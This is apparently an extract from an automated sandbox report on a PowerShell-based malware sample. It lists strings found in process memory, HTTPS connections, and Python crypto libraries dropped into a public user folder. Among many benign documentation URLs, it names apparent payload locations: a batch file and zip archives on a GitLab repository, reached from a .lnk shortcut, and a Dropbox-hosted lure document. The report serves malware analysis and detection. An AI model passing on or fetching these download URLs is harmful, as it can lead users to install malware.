Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9602000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/symtable.html
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9767000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/using/windows.html#python-launcher-for-windows
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/document/fsip/
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/presentation/fsip/
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/spreadsheets/fsip/
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docsend.com/
Source: _mode_openpgp.py.22.dr	String found in binary or memory: https://eprint.iacr.org/2005/033)
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9746000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://eprint.iacr.org/2013/157.pdf
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://experience.dropbox.com/
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC97E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC97EF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fishshell.com/).
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9077000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: cache.py.22.dr	String found in binary or memory: https://github.com/psf/cachecontrol/issues/324).
Source: session.py.22.dr	String found in binary or memory: https://github.com/pypa/pip/issues/5499
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9602000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/asyncio-stream.rst
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9602000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/symtable.rst
Source: powershell.exe, 00000016.00000002.2599061875.000001ADCA0D6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADCA04A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/issues/90716
Source: powershell.exe, 00000016.00000002.2599061875.000001ADCB354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/issues/95865
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9602000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/asyncio/streams.py
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9602000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/symtable.py
Source: update_test_data.py.22.dr	String found in binary or memory: https://github.com/python/mypy/issues/8772
Source: powershell.exe, 00000012.00000002.1682503009.0000028068B98000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.1682503009.0000028068770000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com
Source: powershell.exe, 00000012.00000002.1682503009.0000028068B98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/-/sandbox/
Source: powershell.exe, 00000012.00000002.1682503009.0000028068B98000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.1682503009.0000028068B75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/-/sandbox/;
Source: powershell.exe, 00000012.00000002.1682503009.0000028068B98000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.1682503009.0000028068B75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/-/speedscope/index.html
Source: powershell.exe, 00000012.00000002.1682503009.0000028068B98000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.1682503009.0000028068B75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/admin/
Source: powershell.exe, 00000012.00000002.1682503009.0000028068B75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/assets/
Source: powershell.exe, 00000012.00000002.1681519736.0000028067430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/bose1511/mkt1511/-/raw/main/17Fukrun.zip
Source: powershell.exe, 00000012.00000002.1680607111.0000028065756000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/bose1511/mkt1511/-/raw/main/17fukrun.zip
Source: 2h2xLB9h1L.lnk	String found in binary or memory: https://gitlab.com/bose1511/mkt1511/-/raw/main/hnbose1711.bat
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156A66000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.1682503009.0000028068770000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://help.dropbox.com/
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://instructorledlearning.dropboxbusiness.com/
Source: asn1.py.22.dr	String found in binary or memory: https://letsencrypt.org/docs/a-warm-welcome-to-asn1-and-der/
Source: cscroll.tcl.22.dr	String found in binary or memory: https://linuxreviews.org/HOWTO_change_the_mouse_speed_in_X
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.yahoo.com/
Source: asn1.py.22.dr	String found in binary or memory: https://luca.ntop.org/Teaching/Appunti/asn1.html
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC98A9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC98B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lynx.invisible-island.net/
Source: asn1.py.22.dr	String found in binary or memory: https://misc.daniel-marschall.de/asn.1/oid-converter/online.php
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://navi.dropbox.jp/
Source: powershell.exe, 00000012.00000002.1682503009.0000028068B98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://new-sentry.gitlab.net
Source: powershell.exe, 00000012.00000002.1682503009.0000028068B98000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.1682503009.0000028068B75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://new-sentry.gitlab.net/api/4/security/?sentry_key=f5573e26de8f4293b285e556c35dfd6e&sentry_env
Source: powershell.exe, 0000000F.00000002.1534774564.000001F1572D0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1547579857.000001F165AA0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1547579857.000001F16595E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.1729384575.00000280775BE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.1729384575.0000028077701000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2683197438.000001ADD8EBD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://officeapps-df.live.com
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://officeapps.live.com
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/picker
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9970000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC997B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://opensource.org/licenses/apache2.0.php
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9970000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC997B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://opensource.org/licenses/mit-license.php
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pal-test.adyen.com
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paper.dropbox.com/
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paper.dropbox.com/cloud-docs/edit
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9D3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://peps.python.org/pep-%04d/
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9888000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9893000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADCAD69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://peps.python.org/pep-0205/
Source: test_yield_from.py.22.dr	String found in binary or memory: https://peps.python.org/pep-0342/#new-generator-method-close
Source: test_yield_from.py.22.dr	String found in binary or memory: https://peps.python.org/pep-0380/#proposal
Source: powershell.exe, 00000016.00000002.2599061875.000001ADCA9F3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADCAA0A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADCA9E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://peps.python.org/pep-0506/
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.dropbox.com/
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sales.dropboxbusiness.com/
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://selfguidedlearning.dropboxbusiness.com/
Source: powershell.exe, 00000012.00000002.1682503009.0000028068B98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sentry.gitlab.net
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://showcase.dropbox.com/
Source: powershell.exe, 00000012.00000002.1682503009.0000028068B98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://snowplow.trx.gitlab.net
Source: powershell.exe, 00000012.00000002.1682503009.0000028068B98000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.1682503009.0000028068B75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sourcegraph.com
Source: pss.cpython-312.pyc.22.dr	String found in binary or memory: https://tools.ietf.org/html/rfc8017
Source: pkcs1_15.cpython-312.pyc.22.dr	String found in binary or memory: https://tools.ietf.org/html/rfc8017#page-36
Source: pkcs1_15.cpython-312.pyc.22.dr	String found in binary or memory: https://tools.ietf.org/html/rfc8017#page-37
Source: pss.cpython-312.pyc.22.dr	String found in binary or memory: https://tools.ietf.org/html/rfc8017#page-67
Source: pss.cpython-312.pyc.22.dr	String found in binary or memory: https://tools.ietf.org/html/rfc8017#section-8.1.1
Source: pss.cpython-312.pyc.22.dr	String found in binary or memory: https://tools.ietf.org/html/rfc8017#section-8.1.2
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uc3a4a64227c00bbdb5f6742ba2d.dl.dropboxusercontent.com
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uc3a4a64227c00bbdb5f6742ba2d.dl.dropboxusercontent.com/cd/0/get/CelsrC2q2rAAAi9FfjyjJKZszlUh
Source: powershell.exe, 00000016.00000002.2599061875.000001ADCB354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://url.spec.whatwg.org/
Source: powershell.exe, 00000016.00000002.2599061875.000001ADCB354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#concept-basic-url-parser
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.docsend.com/
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156A66000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/encrypted_folder_download/service_worker.js
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/page_success/
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/pithos/
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/playlist/
Source: powershell.exe, 0000000F.00000002.1551427387.000001F16DCF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/2xk4dviogo9yos
Source: powershell.exe, 0000000F.00000002.1534533390.000001F153C63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?
Source: powershell.exe, 0000000F.00000002.1534641921.000001F153CC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_advertising_campaign_and_collaboration.docx?
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/service_worker.js
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/static/api/
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/static/serviceworker/
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/v/s/playlist/
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropboxstatic.com/static/
Source: powershell.exe, 00000012.00000002.1682503009.0000028068B75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: powershell.exe, 00000012.00000002.1682503009.0000028068B98000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.1682503009.0000028068B75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/ns.html
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.1682503009.0000028068B98000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.1682503009.0000028068B75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hellofax.com/
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hellosign.com/
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9F82000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9F90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ibm.com/
Source: asn1.py.22.dr	String found in binary or memory: https://www.itu.int/ITU-T/studygroups/com17/languages/X.690-0207.pdf
Source: asn1.py.22.dr	String found in binary or memory: https://www.oss.com/asn1/resources/books-whitepapers-pubs/larmouth-asn1-book.pdf
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.paypal.com/sdk/js
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9602000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/
Source: powershell.exe, 00000016.00000002.2599061875.000001ADCA57C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/download/releases/2.3/mro/.
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9602000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/psf/donations/
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9B2C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9B02000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9B88000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9B42000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9B22000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9B0E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9B74000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9B63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/psf/license
Source: powershell.exe, 00000012.00000002.1682503009.0000028068B75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.recaptcha.net/
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9D3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.rfc-editor.org/rfc/rfc%d.txt
Source: powershell.exe, 00000016.00000002.2599061875.000001ADCB354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.rfc-editor.org/rfc/rfc3986#page-49
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9602000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sphinx-doc.org/
Source: datetimetester.py.22.dr	String found in binary or memory: https://www.zope.dev/Members/fdrake/DateTimeWiki/TestCases
Source: asn1.py.22.dr	String found in binary or memory: https://www.zytrax.com/tech/survival/asn1.html

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707

Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.9:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.66.18:443 -> 192.168.2.9:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.9:49711 version: TLS 1.2

System Summary

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_ocb.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_ARC4.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_aes.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_chacha20.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_ctr.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_ofb.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Util\_strxor.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_arc2.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_blowfish.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_cfb.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_cbc.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\tcl\tix8.4.3\tix84.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Util\_cpuid_c.pyd	Jump to dropped file
